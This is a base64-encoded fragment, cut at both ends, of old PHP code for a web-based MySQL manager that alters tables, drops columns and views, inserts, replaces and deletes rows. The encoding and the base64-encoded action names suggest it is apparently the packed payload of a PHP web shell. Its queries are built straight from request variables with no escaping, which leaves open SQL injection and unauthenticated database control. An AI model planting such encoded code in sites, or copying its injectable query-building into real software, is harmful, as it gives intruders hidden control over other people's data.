mKCAkY21kID09ICJlZGl0IiApDQoJCSRxdWVyeVN0ciA9ICJBTFRFUiBUQUJMRSAkdGFibGVuYW1lIENIQU5HRSAkb2xkX25hbWUgJG5hbWUgIjsNCg0KCWlmKCAkTSAhPSAiIiApDQoJCWlmKCAkRCAhPSAiIiApDQoJCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCRNLCREKSAiOw0KCQllbHNlDQoJCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCRNKSAiOw0KCWVsc2UgaWYoICR2YWx1ZWxpc3QgIT0gIiIgKSB7DQoJCSR2YWx1ZWxpc3QgPSBzdHJpcHNsYXNoZXMoICR2YWx1ZWxpc3QgKTsNCgkJJHF1ZXJ5U3RyIC49ICIkdHlwZSgkdmFsdWVsaXN0KSAiOw0KCX0gZWxzZQ0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlICI7DQoNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KDQoJaWYoICRkZWZhdWx0X3ZhbHVlICE9ICIiICkNCgkJJHF1ZXJ5U3RyIC49ICJERUZBVUxUICckZGVmYXVsdF92YWx1ZScgIjsNCg0KCSRxdWVyeVN0ciAuPSAiJG5vdF9udWxsICRhdXRvX2luY3JlbWVudCI7DQoNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KDQoJLy8ga2V5IGNoYW5nZQ0KCSRrZXlDaGFuZ2UgPSBmYWxzZTsNCgkkcmVzdWx0ID0gbXlzcWxfcXVlcnkoICJTSE9XIEtFWVMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRwcmltYXJ5ID0gIiI7DQoJd2hpbGUoICRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSApDQoJCWlmKCAkcm93WyJLZXlfbmFtZSJdID09ICJQUklNQVJZIiApIHsNCgkJCWlmKCAkcm93W0NvbHVtbl9uYW1lXSA9PSAkbmFtZSApDQoJCQkJJGtleUNoYW5nZSA9IHRydWU7DQoJCQllbHNlDQoJCQkJJHByaW1hcnkgLj0gIiwgJHJvd1tDb2x1bW5fbmFtZV0iOw0KCQl9DQoJaWYoICRwcmltYXJ5X2tleSA9PSAiUFJJTUFSWSBLRVkiICkgew0KCQkkcHJpbWFyeSAuPSAiLCAkbmFtZSI7DQoJCSRrZXlDaGFuZ2UgPSAhJGtleUNoYW5nZTsNCgl9DQoJJHByaW1hcnkgPSBzdWJzdHIoICRwcmltYXJ5LCAyICk7DQoJaWYoICRrZXlDaGFuZ2UgPT0gdHJ1ZSApIHsNCgkJJHEgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBEUk9QIFBSSU1BUlkgS0VZIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgkJJHEgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBBREQgUFJJTUFSWSBLRVkoICRwcmltYXJ5ICkiOw0KCQlteXNxbF9xdWVyeSggJHEgKTsNCgkJJHF1ZXJ5U3RyIC49ICI8YnI+XG4iIC4gJHE7DQoJCSRlcnJNc2cgLj0gIjxicj5cbiIgLiBteXNxbF9lcnJvcigpOw0KCX0NCg0KCXZpZXdTY2hlbWEoKTsNCn0NCg0KZnVuY3Rpb24gZHJvcEZpZWxkKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRmaWVsZG5hbWUsICRQSFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KDQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoNCgl2aWV3U2NoZW1hKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdEYXRhKCAkcXVlcnlTdHIgKSB7DQoJZ2xvYmFsICRhY3Rpb24sICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkZXJyTXNnLCAkcGFnZSwgJHJvd3BlcnBhZ2UsICRvcmRlcmJ5Ow0KDQoJZWNobyAiPGgxPkRhdGEgaW4gVGFibGU8L2gxPlxuIjsNCglpZiggJHRhYmxlbmFtZSAhPSAiIiApDQoJCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllbHNlDQoJCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWU8L3A+XG4iOw0KDQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAkcXVlcnlTdHIgKTsNCgkkZmllbGR0ID0gbXlzcWxfZmV0Y2hfZmllbGQoJHBSZXN1bHQpOw0KCSR0YWJsZW5hbWUgPSAkZmllbGR0LT50YWJsZTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCg0KCSRHTE9CQUxTW3F1ZXJ5U3RyXSA9ICRxdWVyeVN0cjsNCg0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KDQoJZWNobyAiPGhyPlxuIjsNCg0KCSRyb3cgPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkY29sID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCg0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCg0KCWlmKCAkcm93cGVycGFnZSA9PSAiIiApICRyb3dwZXJwYWdlID0gMzA7DQoJaWYoICRwYWdlID09ICIiICkgJHBhZ2UgPSAwOw0KCWVsc2UgJHBhZ2UtLTsNCglteXNxbF9kYXRhX3NlZWsoICRwUmVzdWx0LCAkcGFnZSAqICRyb3dwZXJwYWdlICk7DQoNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPlxuIjsNCgllY2hvICI8dHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRjb2w7ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsNCgkJZWNobyAiPHRoPiI7DQoJCWlmKCRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRtbGxkMFJoZEdFPSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZvcmRlcmJ5PSIuJGZpZWxkLT5uYW1lLiInPiIuJGZpZWxkLT5uYW1lLiI8L2E+XG4iOw0KCQllbHNlDQoJCQllY2hvICRmaWVsZC0+bmFtZS4iXG4iOw0KCQllY2hvICI8L3RoPlxuIjsNCgl9DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KDQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQsICRqICk7DQoJCQlpZiggJGZpZWxkLT5wcmltYXJ5X2tleSA9PSAxICkNCgkJCQkka2V5IC49ICImIiAuICRmaWVsZC0+bmFtZSAuICI9IiAuICRkYXRhOw0KDQoJCQlpZiggc3RybGVuKCAkZGF0YSApID4gMzAgKQ0KCQkJCSRkYXRhID0gc3Vic3RyKCAkZGF0YSwgMCwgMzAgKSAuICIuLi4iOw0KCQkJJGRhdGEgPSBodG1sc3BlY2lhbGNoYXJzKCAkZGF0YSApOw0KCQkJZWNobyAiPHRkPlxuIjsNCgkJCWVjaG8gIiRkYXRhXG4iOw0KCQkJZWNobyAiPC90ZD5cbiI7DQoJCX0NCg0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KDQoJZWNobyAiPGZvbnQgc2l6ZT0yPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoNCgllY2hvICgkcGFnZSsxKS4iLyIuKGludCkoJHJvdy8kcm93cGVycGFnZSsxKS4iIHBhZ2UiOw0KCWVjaG8gIjwvZm9udD5cbiI7DQoJZWNobyAiIHwgIjsNCglpZiggJHBhZ2UgPiAwICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSk7DQoJCWVsc2UNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJnBhZ2U9Ii4oJHBhZ2UpOw0KCQlpZiggJG9yZGVyYnkgIT0gIiIgJiYgJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIiZvcmRlcmJ5PSRvcmRlcmJ5IjsNCgkJZWNobyAiJz5QcmV2PC9hPlxuIjsNCgl9IGVsc2UNCgkJZWNobyAiUHJldiI7DQoJZWNobyAiIHwgIjsNCglpZiggJHBhZ2UgPCAoJHJvdy8kcm93cGVycGFnZSktMSApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UrMik7DQoJCWVsc2UNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJnBhZ2U9Ii4oJHBhZ2UrMik7DQoJCWlmKCAkb3JkZXJieSAhPSAiIiAmJiAkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiJm9yZGVyYnk9JG9yZGVyYnkiOw0KCQllY2hvICInPk5leHQ8L2E+XG4iOw0KCX0gZWxzZQ0KCQllY2hvICJOZXh0IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcm93ID4gJHJvd3BlcnBhZ2UgKSB7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00IG5hbWU9cGFnZT5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nR28nPlxuIjsNCgl9DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KfQ0KDQpmdW5jdGlvbiBtYW5hZ2VEYXRhKCAkY21kICkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRjsNCg0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCg0KCQkka2V5ID0gIiI7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQsICRpICk7DQoJCQlpZiggJGZpZWxkLT5wcmltYXJ5X2tleSA9PSAxICkNCgkJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQ0KCQkJCQkka2V5IC49ICRmaWVsZC0+bmFtZSAuICI9IiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiIEFORCAiOw0KCQkJCWVsc2UNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCQl9DQoJCSRrZXkgPSBzdWJzdHIoICRrZXksIDAsIHN0cmxlbigka2V5KS00ICk7DQoNCgkJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyID0gICJTRUxFQ1QgKiBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJGtleSIsICRteXNxbEhhbmRsZSApOw0KCQkkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCg0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJyBtZXRob2Q9cG9zdD5cbiI7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9YWRkRGF0YV9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXREYXRhX3N1Ym1pdD5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXRhYmxlbmFtZSB2YWx1ZT0kdGFibGVuYW1lPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPlxuIjsNCgllY2hvICI8dHI+XG4iOw0KCWVjaG8gIjx0aD5OYW1lPC90aD5cbiI7DQoJZWNobyAiPHRoPlR5cGU8L3RoPlxuIjsNCgllY2hvICI8dGg+RnVuY3Rpb248L3RoPlxuIjsNCgllY2hvICI8dGg+RGF0YTwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KDQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoNCglmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJJGZpZWxkdHlwZSA9ICRmaWVsZFsiVHlwZSJdOw0KCQkkbGVuID0gbXlzcWxfZmllbGRfbGVuKCAkcFJlc3VsdExlbiwgJGkgKTsNCg0KCQllY2hvICI8dHI+IjsNCgkJZWNobyAiPHRkPiRmaWVsZG5hbWU8L3RkPiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxzZWxlY3QgbmFtZT0ke2ZpZWxkbmFtZX1fZnVuY3Rpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPlxuIjsNCgkJZWNobyAiPG9wdGlvbj5BU0NJSVxuIjsNCgkJZWNobyAiPG9wdGlvbj5DSEFSXG4iOw0KCQllY2hvICI8b3B0aW9uPlNPVU5ERVhcbiI7DQoJCWVjaG8gIjxvcHRpb24+Q1VSREFURVxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJUSU1FXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5GUk9NX1VOSVhUSU1FXG4iOw0KCQllY2hvICI8b3B0aW9uPk5PV1xuIjsNCgkJZWNobyAiPG9wdGlvbj5QQVNTV09SRFxuIjsNCgkJZWNobyAiPG9wdGlvbj5QRVJJT0RfQUREXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9ESUZGXG4iOw0KCQllY2hvICI8b3B0aW9uPlRPX0RBWVNcbiI7DQoJCWVjaG8gIjxvcHRpb24+VVNFUlxuIjsNCgkJZWNobyAiPG9wdGlvbj5XRUVLREFZXG4iOw0KCQllY2hvICI8b3B0aW9uPlJBTkRcbiI7DQoJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJGRhdGFbJGldKTsNCgkJaWYoICRjbWQgPT0gImFkZCIgKSB7DQoJCQkkdHlwZSA9IHN0cnRvayggJGZpZWxkdHlwZSwgIiAoLClcbiIgKTsNCgkJCWlmKCAkdHlwZSA9PSAiZW51bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7DQoJCQkJZWNobyAiPHRkPlxuIjsNCgkJCQlpZiggJHR5cGUgPT0gImVudW0iICkNCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWU+XG4iOw0KCQkJCWVsc2UgaWYoICR0eXBlID09ICJzZXQiICkNCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWUgc2l6ZT00IG11bHRpcGxlPlxuIjsNCgkJCQl3aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkgKSB7DQoJCQkJCWVjaG8gIjxvcHRpb24+JHN0clxuIjsNCgkJCQkJc3RydG9rKCAiJyIgKTsNCgkJCQl9DQoJCQkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQkJCWVjaG8gIjwvdGQ+XG4iOw0KCQkJfSBlbHNlIHsNCgkJCQlpZiggJGxlbiA8IDQwICkNCgkJCQkJZWNobyAiPHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00MCBtYXhsZW5ndGg9JGxlbiBuYW1lPSRmaWVsZG5hbWU+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfSBlbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJaWYoICR2YWx1ZSA9PSAkc3RyICkNCgkJCQkJCWVjaG8gIjxvcHRpb24gc2VsZWN0ZWQ+JHN0clxuIjsNCgkJCQkJZWxzZQ0KCQkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZSB2YWx1ZT1cIiR2YWx1ZVwiPjwvdGQ+XG4iOw0KCQkJCWVsc2UNCgkJCQkJZWNobyAiPHRkPjx0ZXh0YXJlYSBjb2xzPTQwIHJvd3M9MyBtYXhsZW5ndGg9JGxlbiBuYW1lPSRmaWVsZG5hbWU+JHZhbHVlPC90ZXh0YXJlYT5cbiI7DQoJCQl9DQoJCX0NCgkJZWNobyAiPC90cj4iOw0KCX0NCgllY2hvICI8L3RhYmxlPjxwPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQWRkIERhdGEnPlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRWRpdCBEYXRhJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdDYW5jZWwnIG9uQ2xpY2s9J2hpc3RvcnkuYmFjaygpJz5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRGF0YV9zdWJtaXQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIklOU0VSVCBJTlRPICR0YWJsZW5hbWUgVkFMVUVTICgiOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJJHF1ZXJ5U3RyID0gIlJFUExBQ0UgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCglmb3IoICRpID0gMDsgJGkgPCAkbnVtLTE7ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCQkkZnVuYyA9ICRHTE9CQUxTWyRmaWVsZC0+bmFtZS4iX2Z1bmN0aW9uIl07DQoJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkkcXVlcnlTdHIgLj0gIiAkZnVuYygiOw0KCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKSB7DQoJCQkkcXVlcnlTdHIgLj0gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICIpLCI7DQoJCQllbHNlDQoJCQkJJHF1ZXJ5U3RyIC49ICIsIjsNCgkJfSBlbHNlIHsNCgkJCSRxdWVyeVN0ciAuPSAiJyIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdOw0KCQkJaWYoICRmdW5jICE9ICIiICkNCgkJCQkkcXVlcnlTdHIgLj0gIicpLCI7DQoJCQllbHNlDQoJCQkJJHF1ZXJ5U3RyIC49ICInLCI7DQoJCX0NCgl9DQoJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0ICk7DQoJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiKSI7DQoJZWxzZQ0KCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInKSI7DQoNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCg0KCSRwUmVzdWx0ID0gbXlzcWxfbGlzdF9maWVsZHMoICRkYm5hbWUsICR0YWJsZW5hbWUgKTsNCgkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCg0KCSRrZXkgPSAiIjsNCglmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQsICRpICk7DQoJCWlmKCAkZmllbGQtPnByaW1hcnlfa2V5ID09IDEgKQ0KCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkka2V5IC49ICRmaWVsZC0+bmFtZSAuICI9IiAuICRHTE9CQUxTWy